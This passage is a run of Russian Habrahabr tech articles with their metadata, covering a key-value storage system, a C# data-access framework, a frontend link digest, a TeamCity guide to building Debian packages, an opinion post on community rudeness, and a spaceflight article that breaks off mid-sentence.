ошибкам вы можете найти в поисковом запросе "диаметр Юпитера": источники предоставляют с дюжину различных значений. В реальном мире, мы всё это понимаем. Мы осознаем, что у нас просто может не хватать ресурсов, чтобы рассматривать каждое значение учитывая эти вызовы. Но это может быть действительно опасным, если мы рассматриваем черный ящик, которому мы абсолютно доверяем. Мы не можем себе такое позволить. Нам нужна постоянная обратная связь и коррекция (как вариант, в диалоге между человеком и алгоритмом). Мы должны рассматривать эти вызовы скорее, как особенности или рутину, а не проблемы. Громадность (vastness) поощряет любопытство и планирование. Слишком большая задача всегда может быть разделена на подзадачи, которые могут быть делегированы. Неоднозначность (vagueness) ведет к гибкости. Мы используем довольно неоднозначный естественный язык, где каждое слово достаточно точно только при определенных условиях. Мир меняется каждый миг и все, что мы "поймали в реальности" часто приходит в негодность уже в следующий момент. Но и неоднозначные характеристики, такие как "юный" могут рассказать даже больше о человеке, чем его очень точный возраст. Определение качеств — это всегда результат процесса оценки, обобщения, определенных рассуждений. Это экономит время, которая нужно потратить другим людям на такую же квалификацию (хотя и есть вероятность, что результат не является допустимым для наших требований). Неопределенность (uncertainty) несет в себе альтернативы и заставляет нас управлять рисками. Это совершенно нормально, когда у нас на выходе получается несколько результатов. Ведь иногда выбором нужного результата должен заниматься человек, который может или должен принимать решение. Противоречивость (inconsistency) мотивирует многогранность и многофункциональность. Ведь непротиворечивость, в большинстве случаев, вытекает из множества способов упорядочивания окружающего мира. Это может быть сделано весьма различными путями и, чтобы исключить некоторые из них, мы должны иметь полную картину. Но как раз то ее у нас может и не быть во многих ситуациях. Подверженность ошибкам (fallibility) сдерживается скептицизмом. Алгоритмы далеко не скептичны (пока еще?). Но ведь и люди тоже, т.к. у нас нет времени, чтобы перепроверять все факты из различных источников. Все эти пункты подразумевают ту или иную степень вовлеченности человека. Ведь как раз люди и могут проинтерпретировать является ли результат достаточно громадным, неоднозначным, неопределенным, противоречивым или ошибочным. Это может быть допустимым, но может быть пересмотрено, это может изменить направление поиска, это может потребовать ручных изменений в данных или коде (что является видом рассуждений), и т.п. Люди умеют обращаться с подобной информацией, поэтому это должно поддерживаться ими (сообществом пользователей и инженеров вместе с многочисленными библиотеками, приложениями и устройствами). И такая поддержка возможна только, если код сможет разговаривать на естественном языке. И это как раз то, что данный подход может сделать реальностью. Это перевод статьи . Ссылки ведут на англоязычные ресурсы, т.к. аналогичные на русском языке не содержат всей необходимой информации. Также примеры кода приведены на русском в иллюстративных целях, работающие тесты пока используют английский язык.
https://habrahabr.ru/post/317872/
habrahabr
Система хранения для миллиардов записей с доступом по ключу
['большие данные', 'nosql']
Постановка задачи В одном из прошлых проектов мне была поставлена задача написания системы для хранения миллиардов записей. Доступ к данным должен осуществляться по ключу: одному ключу в общем...
Постановка задачи В одном из прошлых проектов мне была поставлена задача написания системы для хранения миллиардов записей. Доступ к данным должен осуществляться по ключу: одному ключу в общем случае соответствует множество (на практике, вплоть до десятков миллионов) записей, которые могут добавляться, но не модифицироваться или удаляться. К такому количеству записей опробованные SQL/NoSQL системы хранения оказались плохо приспособлены, поэтому клиент предложил с нуля разработать специализированное решение. Выбранный подход После серии опытов был выбран следующий подход. Данные в базе распределены по секциям, каждая из которых представляет собой файл или директорию на диске. Секции соответствует значение CRC16-хеша, т.е. возможно всего 65,536 секций. Практика показывает, что современные файловые системы (тестировалась ext4) достаточно эффективно справляются с таким количеством элементов внутри одной директории. Итак, добавляемые записи хешируются по ключу и распределяются по соответствующим секциям. Каждая секция состоит из кэша (файл, в котором накапливаются неупорядоченные записи вплоть до заданного размера) и индекса (набора сжатых файлов, хранящих упорядоченные по ключу записи). Т.е. предполагается следующий сценарий работы: Записи накапливаются в памяти до некоторого предела, а далее распределяются по секциям. Внутри секции записи попадут в кэш, если он не превысит заданный размер. Иначе содержимое индекса будет полностью вычитано (за некоторыми оговорками, о них ниже), к нему будет добавлено содержимое кэша, а далее все эти данные будут отсортированы и разбиты на файлы индекса (кэш при этом обнуляется). Каждый индексный файл имеет то же имя, что и ключ первой хранимой записи (на практике оно url-encoded для совместимости с файловыми системами). Таким образом, при поиске записей по ключу индекс позволяет не вычитывать всю секцию, а только кэш и малую часть индексных файлов, в которых могут находиться искомые записи. Подробный алгоритм добавления записей в секцию Если размер добавляемых записей в сумме с размером кэш-файла меньше заданного максимального объёма, то записи просто добавляется в кэш-файл, и на этом обработка секции завершена. Иначе содержимое кэш-файла, а также индексные файлы читаются (исключая файлы с размером больше заданного лимита) и добавляется к обрабатываемой секции. Секция сортируется по значению ключа. Создаётся временная директория, в которую будут записаны новые индексные файлы. Отсортированный массив записей делится на равные части (без разрыва записей) заданного размера (но с разными именами, в противном случае файл растёт до нужного размера, игнорируя лимит) и записываются в gzip-компрессированные индексные файлы. Каждый такой файл имеет имя _url_encoded<ключ>_XXXX, где ключ — это ключ первой записи содержимого файла, а XXXX — 4 16-ричных разряда (нужны для различения файлов с одним значением ключа при сохранении лексикографического порядка именования). XXXX равен 0000, если в директории секции нет файла с таким именем, иначе 0001, и т.д. Для всех файлов, с именами которых возникли коллизии (и пришлось увеличивать XXXX) создаём твёрдые ссылки во временной директории. Удаляем старую директорию секции и переименовываем временную на её место. Как пользоваться Mastore (от massive storage) написан на Golang и собирается в исполняемый файл, запускаемый в режиме чтения, записи или самотестирования. Будучи запущенным в режиме записи Mastore читает из stdin текстовые строки, состоящие из ключа и значения, разделённых символом табуляции (для бинарных данных можно использовать дополнительное кодирование, например, Base85): mastore write [-config=<config>] Для чтения записей по заданному ключу используется следующая команда: mastore read [-config=<config>] -key=<key> А для получения списка всех ключей: mastore read [-config=<config>] -keys Mastore конфигурируется с помощью JSON-файла. Вот пример конфигурации по-умолчанию: { "StorePath": "$HOME/$STORE", "MaxAccumSizeMiB": 1024, "MaxCacheSizeKiB": 1024, "MaxIndexBlockSizeKiB": 8192, "MinSingularSizeKiB": 8192, "CompressionLevel": -1, "MaxGoroutines": 1 }
https://habrahabr.ru/post/317874/
habrahabr
Почему мы злые?
['злость', 'кто виноват?', 'что делать?']
Вечером в воскресенье на просторах одной российской социальной сети я увидел ссылку на статью — What I learned from writing six functions that all did the same thing (Что я узнал от написания шести...
Вечером в воскресенье на просторах одной российской социальной сети я увидел ссылку на статью — What I learned from writing six functions that all did the same thing (Что я узнал от написания шести функций которые делали одно и то же). Джексон Бейтс житель Австралии рассказывает, как написал шесть вариантов функции которая получает число N и возвращает сумму всех чисел меньше N и кратных 3 или 5. Согласитесь — задача очень простая. После прочтения у меня была только одна мысль. Почему сразу нельзя написать по-нормальному, а не городить несколько действительно избыточных и от того медленных реализаций функции. Дальше я прочитал комментарии. Вот некоторые из них: Nice! When I finished reading it, I was like “wooow”! So awesome! Great write-up! Great story Thank you so much for writing this. После прочтения нескольких комментариев у меня возник главный вопрос – Почему мы такие злые? Ведь на Хабре и не только за такую статью не просто бы закидали чем-то нехорошим, но и навсегда отбили бы желание у человека заниматься программированием. А англоязычные комментаторы вполне лояльно отнеслись к автору и даже оставили одобрительные комментарии. Почему многим русскоговорящим специалистам в области CS всегда обязательно доказывать окружающим, что окружение полное говно и ничего не понимают в своей области? Почему наши люди самоутверждаются за счет унижения других? Почему англоговорящие не такие?
https://habrahabr.ru/post/317880/
habrahabr
Дайджест свежих материалов из мира фронтенда за последнюю неделю №241 (12 — 18 декабря 2016)
['дайджест', 'фронтенд', 'css', 'js', 'es6', 'vue', 'react', 'angular', 'html5', 'браузеры', 'ссылки']
Предлагаем вашему вниманию подборку с ссылками на полезные ресурсы и интересные материалы из области...
Предлагаем вашему вниманию подборку с ссылками на полезные ресурсы и интересные материалы из области фронтенда. Веб-разработка CSS Javascript Браузеры Занимательное Веб-разработка Как научить веб-приложение говорить на 100 языках: особенности локализации Итоги года для веб-платформы от W3C Обзор хранилищ на стороне клиента (An Overview of Client-Side Storage) Вот почему рендер на клиентской стороне выиграл (Here’s Why Client-side Rendering Won) FuseBox — новый бандлер/загрузчик модулей, который объединяет мощь webpack, JSPM и SystemJS. «It is blazing fast» (с) Изучаем Progressive Web App . Подборка ресурсов Шпаргалка по Polymer Кроссбраузерная валидация форм на HTML5 наконец работает! Что теперь? Ограничения в разработке HTML писем — видео, шрифты, Javascript, Flash и другие Веб-шрифты в письмах рассылки (The Ultimate Guide to Web Fonts) Почему инлайновые SVG — это лучший вариант использования SVG (Why Inline SVG is Best SVG, — Front End Center) Разработчики фронтенда также занимаются и информационной архитектурой (Front-End Developers Are Information Architects Too) Accessibility: В ЕС готовы установить законы для тестирования доступности (EU ready to set laws for accessibility testing) Написание HTML, имея в виду доступность. (Writing HTML with accessibility in mind) Тестирование доступности с помощью инструмента Intern Шаблоны для создания доступных веб-чатов Performance: Хинтинг ресурсов в браузере с помощь Prefetch, Preconnect и Prerender (Browser Resource Hinting) Ваше руководство по мобильныи форматам публикации контента: AMP, Facebook Instant Articles и Apple News DEFER вместо ASYNC , как один из вариантов ускорения отрисовки страницы HTTP/2 Server Push и Service Workers: идеальное партнерство Media Подкаст Веб-стандарты, Выпуск №46 : Новинки Edge и Safari, где учиться, сообщения коммитов, анимация и рендеринг, CSS в CSS, хайп и прогрессивное улучшение. Подкаст radioJS, Выпуск 44 : Шашечки или Ember.js? Видео с Minsk CSS, Meetup #1 Fronteers Conference 2016 videos CSS CSS-стили для печати, о которых я забыл На 100% правильный способ делать контрольные точки в CSS Краткая запись CSS как антипаттерн Грядут гриды! 20 лет CSS Создание клевого эффекта для изображений с помощью CSS Backdrop-filter В чем разница между background-clip и background-origin? Восхваление CSS (Encomium of CSS) Bootstrap 4: обычные гриды VS гриды на Flexbox Почему я не использую CSS препроцессоры Стилизация веб-компонентов с помощью общих таблиц стилей Линстинг стилей в JavaScript с помощью stylelint Свободный поворот элементов с 3д пространстве с помощью переменных CSS Вы можете попытаться использовать эти CSS штуки, но должны ли вы? Полигональный Pokémon с помощью CSS clip-path JavaScript Свежие релизы: CanJS 3.0 , Новый большой релиз Aurelia , webpack 2.2: RC , Релиз RxJS 5 Marionette.js исполнилось 5 лет Лучшие практики кодинга на чистом JavaScript Кто сказал, что javascript прост? Курс: профессор Frisby представляет компонуемый функциональный JavaScript Создание барабанной установки на чистом JS. #JavaScript30 У JS сообщества есть проблема с издевательстами (The JS Community has a Bullying Problem) Резолвим промисы снаружи с помощью странного трюка от Ли Веру Песочница для тестирования с помощью Jest Angular: Только выпустив Angular 2, Google объявила о начале создания 3.0, а теперь заявила, что скоро выпустит сразу четвертую версию фреймворка Следующим будет Angular 4.0 или просто Angular Наследование компонентов в Angular 2 Прощай 2016-й и прощай Angular (Bye 2k16 and Bye Angular) Использование Kendo UI с Angular 2 React: Презентация React VR Pre-Release 11 уроков, которые я выучил, как разработчик на React Универсальный React рендер: как мы переделали SitePoint Тысячи визуализаций с цветовыми кодами в React React Fix It — автоматически генерирует тесты из ошибок. Как рендерить компоненты вне основного приложения ReactJS redux-subscriber — подписка на изменения в любой части состояния redux Тестирование компонентов React с помощью Jest и Enzyme Vue: Vuetify: компонентный фреймворк для A Vue.js 2.0 Почему мы выбрали Vue.js, а не React (Why we chose Vue.js over React) Плагины: Анонс Voca: ультимативной библиотеки для работы со строками JavaScript State Machine: библиотека для работы с состояниями в JavaScript Zooming — продвинутый компонент для увеличения изображений Браузеры Финальная версия Vivaldi 1.6 — работаем с вкладками Браузер Microsoft Edge получил поддержку Payment Request API в Windows 10 Build 14986 Microsoft Edge будет по умолчанию блокировать Flash В браузере Microsoft Edge найден баг, позволяющий подделать сообщения SmartScreen Выпуск web-браузера Opera 42 Что нового в Chromium 55 и Opera 42 Chrome DevTools: JavaScript CPU Profiling в Chrome 57 Занимательное Slack запустил видеочаты с возможностью использовать эмодзи во время звонков AMD Ryzen: подробности об архитектуре и публичная демонстрация Гипотеза о Матрице: теперь все серьезно Microsoft открыла доступ к набору данных для обучения компьютеров письменной речи Google запустила первую версию IoT-платформы Android Things Почему название переменной «i» стало популярным? Спойлер: это не из-за слова iterator Facebook нанял ABC News и еще три компании, чтобы проверять достоверность новостей Переводчик Microsoft убирает языковый барьер Yahoo призналась в утечке миллиарда паролей трёхлетней давности Сотрудники Evernote хотят читать заметки пользователей для улучшения машинного обучения Более 8800 плагинов для WordPress содержат хотя бы одну уязвимость Почему Pebble не стало (взгляд изнутри) Прогноз на 2030 год: 21 технология, которая сильнее всего изменит наш мир Визуальное и интерактивное руководство по основам нейронных сетей Просим прощения за возможные опечатки или неработающие/дублирующиеся ссылки. Если вы заметили проблему — напишите пожалуйста в личку, мы стараемся оперативно их исправлять. ← Дайджест за прошлую неделю . Материал подготовили dersmoll и alekskorovin
https://habrahabr.ru/company/zfort/blog/317886/
habrahabr
WildData: легкий фреймворк доступа к данным
['C# data linq']
Доброго времени суток, %username%! Вот и я решился на написание статьи на данном ресурсе. Речь пойдет о доступе к данным из приложений написанных на .NET, в частности на языке C#. Все мои мысли, и...
Доброго времени суток, %username%! Вот и я решился на написание статьи на данном ресурсе. Речь пойдет о доступе к данным из приложений написанных на .NET, в частности на языке C#. Все мои мысли, и во что они в итоге вылились, я попытаюсь изложить под катом. Добро пожаловать! Под СУБД в статье будем понимать реляционную СУБД. Забегая вперед, скажу, что представленная библиотека (фреймворк) не является заменой Entity Framework, не зависит от него и не имеет к нему никакого отношения. Тем не менее, оттолкнёмся от вышеупомянутого фреймворка. Одна из его идей – попытка (и весьма удачная) введения абстракции доступа к данным. Иными словами уход от конкретной СУБД. Каждая СУБД имеет свои плюсы и свои минусы: некоторые имеет одни возможности, некоторые другие; некоторые делают хорошо одно, другие – другое и т.д. Давайте теперь представим, что взвесив все «за» и «против» мы выбрали некую СУБД для реализации какого-то грандиозного (или не очень) проекта и решили писать всё это с использованием… ADO.NET. Плюсы ADO.NET: полный контроль над запросами; относительная простота: создать подключение, создать транзакцию (опционально), создать команду, добавить текст запроса и параметры, запустить, считать данные (опционально); есть поддержка практически для любой СУБД. тесное взаимодействие с СУБД (например, поддержка таких «нестандартных» типов данных как координаты, JSON и т.д.). Минусы ADO.NET (предпосылки к реализации проекта): для каждой модели необходимо каждый раз заново писать код для чтения, добавления и изменения записи в БД – проще говоря отображения объекта на запись в таблице, представлении т.д. и, наоборот, отображение записи на объект; Нет абстрагирования как в Java (хотя есть DbConnection/DbCommand и другие классы, но часто используются конкретные типы, например SqlConnection/SqlCommand); Нет универсальной поддержки работы с пакетом записей (добавление, обновление, добавление или обновление, удаление); Ввероятнее всего читатель уже догадался, что мы будем думать как избавляться от вышеупомянутых недостатков. Поговорим о том, что является ключом к реализации всего проекта. Начнем по порядку. Что же мы можем сделать для того, чтобы написать этот код один раз? В первую очередь заметим, что костяк для чтения одного или нескольких объектов остается неизменным вне зависимости от того что это за объект и какие поля он содержит. Это означает, что нам необходима универсальная функция чтения одного объекта. То же верно для добавления и обновления записи. Как такая функция должна быть написана? Первое что приходит на ум – Reflection. Допустим. Но у Reflection есть один существенный недостаток – он медленный. Если при чтении/добавлении/изменении/удалении одного объекта быстродействие просядет несущественно, то при большом количестве объектов накладные расходы будут ощутимы. На помощь нам придут Expression'ы и возможность их компиляции «на лету». Идея состоит в том, что тело функции генерируется, компилируется и ссылка на нее сохраняется в виде делегата. Делать это необходимо только один раз – при инициализации. С чем должны работать функции? С тремя сущностями: объект как таковой (модель); объект чтения данных (например, SqlDataReader); коллекция параметров (например, SqlParameterCollection). Для того, чтобы точка генерация данных функций была едина, введены следующие интерфейсы обёрток: IDbParameterCollectionWrapper и IReaderWrapper (см. ссылку на репозиторий проекта ниже). Для каждой СУБД необходимо реализовывать эти интерфейсы индивидуально. Забегая вперед: фреймфорк нацелен в первую очередь на скорость работы, поэтому в ряде случаев используется отложенная («ленивая») инициализация. Так же фреймфорк содержит несколько вспомогательных атрибутов для бóльшей гибкости (например, вычисляемые поля, обязательные поля и т.д.). Вся общая часть фреймфорка вынесена в отдельный общий проект. Для пользователя видны в основном интерфейсы. Крайне рекомендуется пользоваться только интерфейсами. Пакетная работа с записями пока не реализована, но это уже «дело техники». Проект уже можно опробовать (см. ссылки ниже). Имеется поддержка Linq! Проект в альфа-версии, поэтому код пока неидеален. Что планируется добавить: больше тестов; поддержка других баз данных: в первую очередь SQL Server, MySQL; поддержка Microsoft.AspNet.Identity. Ссылки: » Проект WildData на GitHub. » Nuget-пакет WildData. » Nuget-пакет WildData (реализация для PostgreSQL). » Очень простой пример использования фреймворка. Строго прошу не судить. Это моя первая статья на хабрахабре. Спасибо за внимание! P.S. По всем вопросам прошу в личку и комментарии.
https://habrahabr.ru/post/314198/
habrahabr
TeamCity как Debian-репозиторий
['teamcity', 'continuous integration', 'jetbrains', 'debian']
… или использование TeamCity для сборки *.deb-пакетов и не только. Написать статью меня побудило знакомство с модулем tcDebRepository. Я наивно полагал, что "вот сейчас я его подключу, и всё...
… или использование TeamCity для сборки *.deb -пакетов и не только. Написать статью меня побудило знакомство с модулем tcDebRepository . Я наивно полагал, что "вот сейчас я его подключу, и всё волшебным образом заработает". Как водится, не заработало, и в конце концов был накоплен некий опыт, который захотелось систематизировать. Статья ни в коей мере не является введением в основы TeamCity и предполагает, что читатель уже знаком и собственно с TeamCity , и с инфраструктурой Debian GNU/Linux . Если вы уже представляете, что такое continuous integration, но ещё ни разу не держали в руках TeamCity — вам, наверное, сюда . О сборке пакетов в Debian можно почитать в Debian New Maintainers' Guide . Для игр (на случай, если кто-то захочет воспроизвести результаты) использовался сервер TeamCity 10 и 3 агента под управлением Debian 8.0 (Jessie) . 3 агента — это лимит в случае TeamCity Professional . Всё ниженаписанное, думаю, без проблем переносится на любой другой дистрибутив на основе Debian GNU/Linux , напр., Astra Linux . Планы Достаточно произвольным образом я выбрал для экспериментов 4 пакета: autotools-dev ( Git ) bash ( Git , Bazaar ) debhelper ( Git ) dpkg ( Git ) С учётом ограничения лицензии типа Professional на количество конфигураций сборки можно было "набрать" до 20 пакетов. Подготовка TeamCity загружается с официального сайта. Кроме собственно TeamCity, на каждую из агентских машин нам потребуется установить пакет build-essential , равно как и необходимые для сборки зависимости для всех четырёх пакетов (из категорий build-depends и build-depends-indep ). Это позволит минимизировать (но совсем не обязательно устранить) проблемы с зависимостями при сборке. Виды пакетов в Debian GNU/Linux Пакеты, помимо прочих особенностей, делятся на "родные" ( native ) и внешние ( non-native ) ( подробнее ). "Родные" пакеты ( autotools-dev , debhelper , dpkg ) обычно разрабатываются в рамках проекта Debian, и исходный код уже содержит необходимую для сборки метаинформацию (каталог debian/ в корне дерева исходного кода). Отличие внешних пакетов ( bash ) в том, что исходный код никоим образом не завязан на Debian, и инженерам сопровождения (в русскоязычной документации это называется "разработчик Debian", в англоязычной — просто "maintainer") приходится поддерживать параллельное дерево исходного кода с метаинформацией и патчами (это то самое содержимое каталога debian/ ). Общие настройки Бинарные пакеты, которые мы будем собирать — это, в терминологии TeamCity , " артефакты ". Соответственно, нужно указать, что мы ожидаем иметь в сухом остатке по окончании очередной сборки, указав artifact paths : Для "родных" пакетов артефакты pkgname.orig.tar.{gz,bz2,xz} и pkgname.debian.tar.{gz,bz2,xz} не создаются. Подключение исходного кода к TeamCity Чаще всего как раз с этим шагом нет ничего сложного: просто идём в настройки конфигурации сборки (build configuration) и добавляем новый корень системы контроля версий (VCS root). Для "родных" пакетов эту операцию нужно выполнить однократно, для внешних — как правило, дважды (но возможны исключения, когда и разработчики (вне проекта Debian), и инженеры сопровождения используют одну и ту же DVCS ( Git , Bazaar ), и изменения в коде постоянно "кочуют" из одного репозитория в другой, в то же время не вызывая merge-конфликтов для метаинформации и патчей). Единственная особенность состоит в том, что артефакты в нашем случае будут собираться вне дерева исходного кода (на один каталог выше), так что нам нужно настроить checkout rules таким образом, чтобы, скажем, исходный код пакета dpkg выгружался не в текущий рабочий каталог, а в одноимённый пакету подкаталог, т. е. dpkg/ . Это достигается добавлением в checkout rules одной строчки: +:.=>dpkg и в конечном счёте выглядит так: Теперь можно добавить VCS-триггер и к настройке контроля версий уже не возвращаться: Интеграция с Bazaar "Но ведь для сборки bash требуется интеграция с Bazaar , а штатная поставка TeamCity не поддерживает эту систему!" — скажет внимательный читатель, и будет прав. Кроме того, TeamCity , увы, не позволит нам добавить и Git URL вида bzr::http://bazaar.launchpad.net/~doko/+junk/pkg-bash-debian — у JGit слишком много ограничений. Существует внешний модуль для поддержки Bazaar , но у него есть по меньшей мере два серьёзных недостатка: checkout на стороне агента не поддерживается, и штатной поставки Bazaar недостаточно, т. к. модуль опирается на функциональность bzr xmlls и bzr xmllog , что выясняется только в процессе сборки: Поскольку сервер TeamCity у меня работал на Windows , я отказался от весёлого приключения в виде установки Bazaar на стороне сервера, а вместо этого в случае пакета bash просто добавил ещё один шаг сборки ( Bazaar -интеграцию для бедных), используя Command Line Runner и следующий сценарий оболочки: #!/bin/bash # # vim:ft=sh: # export LANG=C export LC_ALL=C set -e rm -rf bash/debian bzr branch http://bazaar.launchpad.net/~doko/+junk/pkg-bash-debian bash/debian major_minor=$(head -n1 bash/debian/changelog | awk '{print $2}' | tr -d '[()]' | cut -d- -f1) echo "Package version from debian/changelog: ${major_minor}" tar_archive=bash_${major_minor}.orig.tar rm -f ${tar_archive} ${tar_archive}.bz2 # +:.=>bash checkout rule should be set for the main VCS root in TeamCity tar cf ${tar_archive} bash tar --delete -f ${tar_archive} bash/debian # Required by dpkg-buildpackage bzip2 -9 ${tar_archive} Такой подход не позволит нам "видеть" изменения в одном дереве исходного кода (из двух) и автоматически запускать сборку при их (изменений) появлении, но для первого опыта вполне достаточен. N.B.! Поскольку Command Line Runner не умеет подсвечивать синтаксис кода сценария, для пользователей браузеров Mozilla Firefox и SeaMonkey я бы рекомендовал расширение It's All Text! , позволяющее редактировать содержимое текстовых полей во внешнем редакторе. Можно подключить Vim или Emacs и насладиться подсветкой синтаксиса, автодополнением, шахматами и поэтессами . Сборка: настройка Для сборки нам достаточно использовать уже знакомый нам Command Line Runner , вызывающий dpkg-buildpackage . Ключи -uc и -us означают, что мы не хотим создавать цифровых подписей для наших пакетов. Если всё-таки хотим — придётся загрузить соответствующую пару GnuPG-ключей на каждый из агентов. Также обратите внимание, что dpkg-buildpackage должен исполняться не в текущем рабочем каталоге, а в одноимённом пакету подкаталоге (куда будет выгружено дерево исходного кода). Если настройка контроля версий выполнена, поле "Working directory" можно заполнить в один щелчок мыши, не вводя имя каталога вручную: Сборка: разрешение проблем Качество кода Как ни странно, но качество кода (или, точнее, стиль разработки) может являться серьёзной проблемой на пути внедрения continuous integration. Опытным путём выяснилось, что, в случае bash , версии в двух деревьях кода рассинхронизированы: последние коммиты в основном дереве соответствуют версии 4.4 , хотя файл debian/changelog уже без малого два года назад остановился на версии 4.3 , и код одной версии с метаинформацией другой версии вместе не собираются. Хорошо, значит, мне нужна ветка bash-4.3 в основном дереве. А теперь можно посмотреть на дерево коммитов и порадоваться. Вот идёт ветка bash-4.3-testing с тэгами bash-4.3-rc2 и (ниже, не видно) bash-4.3-rc1 — и потом она внезапно обрывается. Если верить истории версий, то релиз bash 4.3 так и не состоялся. В то же время, спустя несколько дней на ветке master появляется коммит с тэгом bash-4.3 , которому не предшествует ни одна операция типа merge или cherry-pick . Беглый взгляд на историю и содержание коммитов приводит к ощущению, что вся разработка ведётся в локальной ветке одного человека, а git push на savannah.gnu.org происходит через равные промежутки времени, причём через git merge --squash -s ours (у каждого коммита невероятно длинный и трудно читаемый diff ). Коммиты " Bash-4.3 patch XY " (всего 46 патчей для версии 4.3) кладутся в master (на bash-4.3-testing их нет), а через 3 недели на ветке master появляется метка bash-4.4-beta2 . Это означает, что последнее стабильное состояние " bash 4.3 плюс патчи" взять, увы, неоткуда. Слава богу, TeamCity позволяет выполнять сборку по тэгу (флаг " Enable to use tags in the branch specification "), что и было в конце концов сделано. Резюме: То, что я увидел, не похоже ни на традиционную схему создания веток, ни на git-flow . Да, я в курсе дела, что сборка по тэгу сводит к нулю весь смысл continuous integration, но общаться с разработчиком bash мы будем в другой раз. Зависимости При запуске первой же сборки мы увидим, что dpkg-buildpackage завершил работу с кодом возврата 3 : В результате просмотра протокола сборки выяснится, что какие-то зависимости всё-таки отсутствуют: Но вот мы установили всё, что требовалось (на всех агентах), а dpkg-buildpackage завершается с тем же кодом. В чём же дело? Здесь есть несколько нюансов. Скорее всего, вы будете собирать ПО из Debian unstable или Debian experimental . В таком случае, для удовлетворения необходимых для сборки зависимостей агенты TeamCity тоже должны работать под управлением Debian unstable или Debian experimental (иначе dpkg-buildpackage будет "ругаться", что ваши стабильные версии зависимостей "устарели"). Для подавления ошибки иногда достаточно добавить ключ -d : dpkg-buildpackage -uc -us -d Частным случаем устаревших зависимостей является сценарий configure , созданный более новой версией GNU Autotools , чем в настоящее время установлены в системе. dpkg-buildpackage не в состоянии диагностировать такую ситуацию — вместо этого в протоколе сборки мы наблюдаем загадочные сообщения об отсутствующих макросах m4 . Решением является повторное создание сценария configure с помощью текущей версии GNU Autotools . Просто добавьте первым шагом сборки следующую команду: autoreconf -i "Сломанные" unit-тесты Если мы всё-таки хотим себя обмануть и таки собрать наш пакет, достаточно будет запустить dpkg-buildpackage в изменённом окружении: DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -uc -us О других способах самообмана можно почитать здесь . Финишная прямая После того, как все круги ада пройдены, мы увидим, что очередная сборка завершилась созданием артефактов: Если вы не хотите, чтобы с каждым инкрементом версии пакета количество артефактов единичной сборки увеличивалось (в конечном счёте предлагая широкий ассортимент из dpkg_1.18.16_i386.deb , dpkg_1.18.17_i386.deb и dpkg_1.18.18_i386.deb ), содержимое рабочего каталога стоит выборочно очищать перед каждой сборкой. Это можно было бы выполнить вручную, непосредственно перед dpkg-buildpackage вызвав rm -rf c пресловутыми artifact paths в качестве аргументов, но есть способ лучше — штатный модуль TeamCity с ласковым названием "Швабра". Вот так выглядят его настройки (ключевое здесь — "Before next build start"): А вот таким образом будет выглядеть соответствующий фрагмент протокола сборки, если модуль Swabra правильно настроен: Теперь самое время настроить наш Debian-репозиторий. Это достигается добавлением артефакт-фильтров в настройках модуля tcDebRepository . Некоторое неудобство состоит в том, что для каждой конфигурации (читай: программного пакета) приходится добавлять новый фильтр, фактически идентичный предыдущему: Уже существующие артефакты не будут проиндексированы, поэтому после окончательной настройки Debian-репозитория в каждой конфигурации должна пройти как минимум одна сборка. После этого наступает предвкушение: Каталоги пакетов по архитектурам и список доступных пакетов При добавлении репозитория в /etc/apt/sources.list можно наблюдать все те же пакеты уже со стороны клиента: Заметно, что у пакетов отсутствует цифровая подпись N.B.! Если вы собираете под несколько архитектур ( i386 , x32 , amd64 , arm ), стоит либо иметь несколько отдельных конфигураций сборки, соответствующих одному пакету и различающихся требованиями к агентам, либо, в дополнение к VCS Trigger , добавить Schedule Trigger с флагом "Trigger build on all enabled and compatible agents": Через какое-то время вы увидите, что проект dpkg активно развивается, а вот остальные участники, похоже, курят бамбук. Happy building!
https://habrahabr.ru/post/204496/
habrahabr
Россия теряет позиции в растущей мировой космонавтике. Или нет?
['космонавтика', 'КГО', 'космонавтика России']
Конец года мрачно выглядит для российской космонавтики. После тринадцати лет лидерства по количеству пусков нас снова обогнали США и, впервые в истории, Китай. До самого декабря сохранялась...
Конец года мрачно выглядит для российской космонавтики. После тринадцати лет лидерства по количеству пусков нас снова обогнали США и, впервые в истории, Китай. До самого декабря сохранялась надежда, что этот год станет первым годом с 2003 без аварий с потерей полезной нагрузки, но и она сгорела вместе с «Прогрессом МС-04». Другие космические новости окрашивали происходящее в еще более мрачные тона — экипаж российского сегмента МКС сократят с трех человек до двух, «Прогрессов» тоже запустят меньше, «Ангара» после тестовых пусков не начала летать часто, а из центра Хруничева поступают плохие слухи. Не стартовала ни одна целиком российская межпланетная станция после провала «Фобос-Грунта» в 2011, а новый модуль «Наука» с 2013 года все не может отправиться к МКС. У нас все плохо, и можно хоронить российскую космонавтику? Или все-таки нет? Попробуем разобраться. Пуски На 19 декабря 2016 года Россия запустила 17 ракет-носителей, из которых одна потерпела аварию. Еще две ракеты были приобретены Европейским космическим агентством и стартовали с космодрома Куру, но, даже если их добавить в нашу копилку, все равно Россия окажется на третьем месте. У нас в лучшем случае стартует еще один «Протон» с телекоммуникационным спутником EchoStar в конце января, тогда как США уже выполнили 22 пуска (авария Falcon 9 в сентябре при подготовке к прожигу засчитана как неудачный пуск), а Китай — 20. Эта новость смотрится во много раз печальней, если посмотреть на общую картину, потому что во всем мире количество запусков непрерывно растет с 2004 года. Если посмотреть этот же график по странам, то можно увидеть тенденции за последние годы. С начала десятых годов Китай показывает бурный рост количества пусков. Это неудивительно для экономики, ставшей в 2010 году второй по номинальному ВВП и в 2014 первой по ВВП по ППС. Космическая программа Китая обширна и разнообразна. Кроме спутников связи и дистанционного зондирования Земли (от метеорологии до разведки) Китай развивает свою систему навигации Бэйдоу, которая к 2020 году станет глобальной. После заметного перерыва в 2016 году возобновились пилотируемые пуски, на орбиту выведена новая орбитальная станция Тяньгун-2, запускаются спутники ретрансляции Тяньлянь для пилотируемой программы, аналогичные американским TDRS и российским «Лучам». Развивается научная программа от беспилотных лунных аппаратов до первого в мире спутника квантовой связи на низкой земной орбите. Параллельно разрабатываются новые ракеты-носители «Великий поход» -5,6,7, которые, если будет выполнен план пятилетки 2016-2021, будут запускаться по 30 штук в год. В этом случае Китай будет соревноваться за первое место по количеству пусков. График пусков США не показывает серьезного роста, колеблясь в диапазоне 12-24 пуска, но состав используемых ракет-носителей сильно изменился. Начав с нескольких запусков в год в интересах NASA, компания SpaceX заключила большое количество коммерческих контрактов, поставила перед собой очень амбициозный график, и, если бы не аварии в 2015 и 2016, смогла бы выйти на уровень больше десятка пусков в год (в 2016 их будет девять, по последним новостям декабрьские пуски съехали на январь). На 2017 год запланировано 24 пуска Falcon 9 и два — Falcon Heavy, и главная интрига состоит в том, на сколько процентов 